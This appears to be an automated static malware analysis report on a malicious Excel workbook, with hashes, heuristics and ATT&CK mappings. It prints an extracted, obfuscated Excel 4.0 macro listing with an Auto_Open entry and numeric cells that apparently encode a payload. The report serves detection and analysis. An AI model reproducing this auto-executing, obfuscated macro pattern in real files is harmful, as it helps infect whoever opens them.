Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dd869415613ab9ae…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:31 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 74ff7e7adc7c3926e45143fe7ee1ba07 SHA-1: 04f0cc8f411db9545e825ce05218ea91b00c48ba SHA-256: dd869415613ab9aea2599927c23572bcefd9466af5a69f8f6ab239dc2f6c84bb
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open defined name, which is a critical finding indicating potential for automatic execution upon opening. The presence of dangerous formula APIs within the XLM macro suggests it is designed to perform malicious actions, likely by executing arbitrary code or downloading a secondary payload. No specific family could be identified from the available evidence.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6635 bytes
SHA-256: 4e266bf6accdec8a041317f9acad6672234eab881c34217e66a4b086a472fd9a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  bijyv
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G164 
' 0018     26 LABEL : Cell Value, String Constant - BHGDwJlPUuC len=0 
' 0018     23 LABEL : Cell Value, String Constant - CaiKsQWU len=0 
' 0018     27 LABEL : Cell Value, String Constant - fftjunDJFBZM len=0 
' 0018     22 LABEL : Cell Value, String Constant - FKaFndV len=0 
' 0018     25 LABEL : Cell Value, String Constant - fxWtsstiTK len=0 
' 0018     26 LABEL : Cell Value, String Constant - GhCQPITFTmN len=0 
' 0018     26 LABEL : Cell Value, String Constant - gPNIgenAbgU len=0 
' 0018     25 LABEL : Cell Value, String Constant - iDWDDAAbeO len=0 
' 0018     25 LABEL : Cell Value, String Constant - iOZQDkDjcC len=0 
' 0018     27 LABEL : Cell Value, String Constant - IuHGNWknTykV len=0 
' 0018     20 LABEL : Cell Value, String Constant - JzPAF len=0 
' 0018     21 LABEL : Cell Value, String Constant - kiOcFb len=0 
' 0018     24 LABEL : Cell Value, String Constant - KNvChUygX len=0 
' 0018     20 LABEL : Cell Value, String Constant - KOPXn len=0 
' 0018     22 LABEL : Cell Value, String Constant - qHJGdEa len=0 
' 0018     20 LABEL : Cell Value, String Constant - RqScm len=0 
' 0018     27 LABEL : Cell Value, String Constant - UfNifGzAFNYs len=0 
' 0018     21 LABEL : Cell Value, String Constant - uwLhAc len=0 
' 0018     22 LABEL : Cell Value, String Constant - xFzPYaY len=0 
' 0018     21 LABEL : Cell Value, String Constant - yPeowP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  bijyv,G70,"SET.NAME("iOZQDkDjcC",0+VALUE("0"))",""
'  bijyv,G74,"SET.NAME("KNvChUygX",iOZQDkDjcC)",""
'  bijyv,G78,"SET.NAME("RqScm",iOZQDkDjcC)",""
'  bijyv,G81,"SET.NAME("gPNIgenAbgU",COUNTA(qHJGdEa))",""
'  bijyv,G84,"SET.NAME("xFzPYaY",COUNTA(fxWtsstiTK))",""
'  bijyv,G89,[],""
'  bijyv,G93,"SET.NAME("FKaFndV","")",""
'  bijyv,G97,"KNvChUygX",""
'  bijyv,S98,"",721.00000000000000000000
'  bijyv,G99,"SET.NAME("KOPXn",HLOOKUP("*",qHJGdEa,KNvChUygX,FALSE))",""
'  bijyv,S99,"",-295.00000000000000000000
'  bijyv,S100,"",673.00000000000000000000
'  bijyv,G101,"fftjunDJFBZM",""
'  bijyv,S101,"",-918.00000000000000000000
'  bijyv,S102,"",-338.00000000000000000000
'  bijyv,S103,"",-438.00000000000000000000
'  bijyv,G106,"SET.NAME("JzPAF",iOZQDkDjcC)",""
'  bijyv,G110,[],""
'  bijyv,G114,"JzPAF",""
'  bijyv,G119,"CaiKsQWU",""
'  bijyv,G122,"IuHGNWknTykV",""
'  bijyv,G124,"UfNifGzAFNYs",""
'  bijyv,G128,"SET.NAME("GhCQPITFTmN",VALUE(HLOOKUP("*",fxWtsstiTK,UfNifGzAFNYs,FALSE)))",""
'  bijyv,G133,"kiOcFb",""
'  bijyv,G136,"FKaFndV",""
'  bijyv,G141,"RqScm",""
'  bijyv,G144,NEXT(),""
'  bijyv,G149,"BHGDwJlPUuC",""
'  bijyv,G153,[],""
'  bijyv,G155,"uwLhAc",""
'  bijyv,G157,NEXT(),""
'  bijyv,G161,RETURN(),""
'  bijyv,G191,"SET.NAME("iDWDDAAbeO",G70)",""
'  bijyv,G193,"qHJGdEa",""
'  bijyv,G198,"SET.NAME("fxWtsstiTK",R75C15)",""
'  bijyv,G200,"SET.NAME("uwLhAc",208)",""
'  bijyv,G204,"SET.NAME("yPeowP",7)",""
'  bijyv,G207,iDWDDAAbeO(),""
'  bijyv,G208,HALT(),""

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